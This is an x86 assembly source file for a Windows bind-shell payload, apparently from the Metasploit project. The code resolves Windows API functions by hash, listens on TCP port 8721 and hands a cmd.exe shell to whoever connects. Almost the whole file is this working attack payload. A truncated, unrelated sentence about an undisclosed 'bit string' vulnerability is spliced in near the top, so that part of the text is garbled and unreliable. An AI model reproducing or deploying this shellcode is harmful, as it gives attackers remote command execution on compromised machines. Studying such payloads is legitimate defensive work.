win32_bind.asm

I. Introduction This code exploits a previously undisclosed vulnerability in the bit string deco

;      Title:  Win32 Bind Shell
;  Platforms:  Windows NT 4.0, Windows 2000, Windows XP, Windows 2003
;   Function:  Listen for connection and spawn command shell
;     Author:  hdm[at]metasploit.com

; Compile: nasm -f bin -o win32_bind.bin win32_bind.asm


[BITS 32]

global _start

_start:

LCaller:
    call LLoadFunctions

LDataSegment:
;========================

dd "CMD"

dd 0x79c679e7 ; closesocket             12
dd 0x498649e5 ; accept                  16
dd 0xe92eada4 ; listen                  20
dd 0xc7701aa4 ; bind                    24
dd 0xadf509d9 ; WSASocketA              28
dd 0x3bfcedcb ; WSAStartup              32

dd 0xec0e4e8e ; LoadLibraryA            36
dd 0x60e0ceef ; ExitThread              40
dd 0xce05d9ad ; WaitForSingleObject     44
dd 0x16b3fe72 ; CreateProcessA          48

db "WS2_32.DLL", 0x00, 0x01
;========================

LLoadFunctions:	
    pop ebx  
    push esp
	mov ebp, esp 
    mov [ebp], ebx

LKernel32Base:
    push byte 0x30
    pop ecx
    mov eax, [fs:ecx]
	mov eax, [eax + 0x0c] 
	mov esi, [eax + 0x1c] 
	lodsd				  
	mov ebx, [eax + 0x08] 
    jmp short LStartLoading

LLoadWinsock:
    lea edx, [edi + 44] ; get address of ws2_32.dll
    push ecx            ; save counter
    push edx            ; push address of ws2_32.dll
	call eax            ; LoadLibraryA()
    mov ebx, eax        ; save module handle 
    pop ecx             ; restore counter
    jmp short Looper2
    
LStartLoading:
    ; Start loading addresses at ebp + 12
    push byte 0x08
    pop esi
    add esi, ebp 

    ; Function counter
    push byte 0x0a
    pop ecx
    mov edi, [ebp]
    
Looper:
    cmp cl, 0x06
    je short LLoadWinsock

Looper2:    
    push ecx                    ; save the counter
    push ebx                    ; dll handle
    push dword [edi + ecx*4]    ; function hash value
    call LGetProcAddress        ; find the address
    pop ecx                     ; restore the counter
    mov [esi + ecx * 4], eax    ; stack segment to store addresses
    loop Looper
	xor edi, edi

LWSAStartup:
	; WSAStartup(0x101, DATA) 
    sub sp, 400
	push esp
	push 0x101
	call [ebp + 32]

LWSASocketA:
	; WSASocketA(2,1,0,0,0,0) 
	push edi
	push edi
	push edi
	push edi
	inc edi
	push edi
	inc edi
	push edi
	call [ebp + 28]
	mov ebx, eax                ; save socket to ebx
    xor edi, edi
    
LBind:
	push edi
	push edi
	push dword 0x11220002 ; port 8721
	mov esi, esp
	push byte 0x10        ; length
	push esi
	push ebx
	call [ebp + 24]

LListen:
	push edi
	push ebx
	call [ebp + 20]

LAccept:
	push edi
	push esi
	push ebx
	call [ebp + 16]
	mov edx, eax

LCreateProcessStructs:
	; allocate space for STARTUPINFO, PROCESS_INFORMATION 
	sub sp, 0x54

	; zero out SI/PI 
	lea edi, [esp]
	xor eax, eax
    push byte 21
    pop ecx
    
LBZero:
	rep stosd
    
    mov edi, edx
	mov byte [esp + 16], 68	 ; si.cb = sizeof(si) 
	inc byte [esp + 61]		 ; si.dwFlags = 0x100 

	; socket handles 
	mov [esp + 16 + 56], edi
	mov [esp + 16 + 60], edi
	mov [esp + 16 + 64], edi

	lea eax, [esp + 16]	; si 
	push esp			; pi 
	push eax
	push ecx
	push ecx
	push ecx
    
    inc ecx
	push ecx
    dec ecx
    
	push ecx
	push ecx
	push dword [ebp]
	push ecx

LCreateProcess:
	call [ebp + 48]
	mov ecx, esp
    
LWaitForSingleObject:
    push 0xFFFFFFFF
    push dword [ecx]
    call [ebp + 44]

LCloseSocket:
    push edi
    call [ebp + 12]

LFinished:
    call [ebp + 40]
  
LGetProcAddress:
	push ebx
	push ebp
	push esi
	push edi
	mov ebp, [esp + 24]			
	mov eax, [ebp + 0x3c]		
	mov edx, [ebp + eax + 120]
	add edx, ebp				
	mov ecx, [edx + 24]			
	mov ebx, [edx + 32]
	add ebx, ebp

LFnlp:

	jecxz	LNtfnd
	dec ecx
	mov esi, [ebx + ecx * 4]
	add esi, ebp				
	xor edi, edi
	cld

LHshlp:

	xor eax, eax
	lodsb
	cmp al, ah
	je LFnd
	ror edi, 13
	add edi, eax
	jmp short LHshlp

LFnd:
	
	cmp edi, [esp + 20]
	jnz LFnlp
	mov ebx, [edx + 36]			
	add ebx, ebp
	mov cx, [ebx + 2 * ecx]		
	mov ebx, [edx + 28]			
	add ebx, ebp
	mov eax, [ebx + 4 * ecx]	
	add eax, ebp
	jmp short LDone

LNtfnd:
	xor eax, eax

LDone:
	mov edx, ebp
	pop edi
	pop esi
	pop ebp
	pop ebx
	ret 8